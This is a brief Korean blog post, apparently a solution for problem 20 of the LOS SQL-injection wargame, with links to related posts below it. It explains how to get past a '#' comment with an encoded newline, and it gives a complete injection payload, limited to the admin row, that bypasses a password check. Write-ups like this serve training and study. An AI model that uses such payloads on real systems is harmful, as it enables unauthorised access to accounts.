20번
#뒤는 한줄 주석이라서 개행해서 풀어야 했다
%0a<- 개행 문자
줄 바꾼뒤 id='admin' 으로 하면 guest랑 admin 모두 출력되니까
limit로 admin 계정 위치만 잡아주면 답이 나왔다.
pw='%0a or 1=1 and id='admin' limit 1,1 %23
'WARGAME > LOS' 카테고리의 다른 글
| [LOS] los.eagle-jump.org 워게임으로 알아본 sql인젝션 우회기법 정리 (0) | 2017.12.13 |
|---|---|
| [LOS] 1~20번 문제 한번에 보는 정리된 해설 (0) | 2017.12.13 |
| [LOS] 19번 문제-xavis (0) | 2017.12.13 |
| [LOS] 18번 문제-nightmare (0) | 2017.12.13 |
| [LOS] 17번 문제-succubus (0) | 2017.12.12 |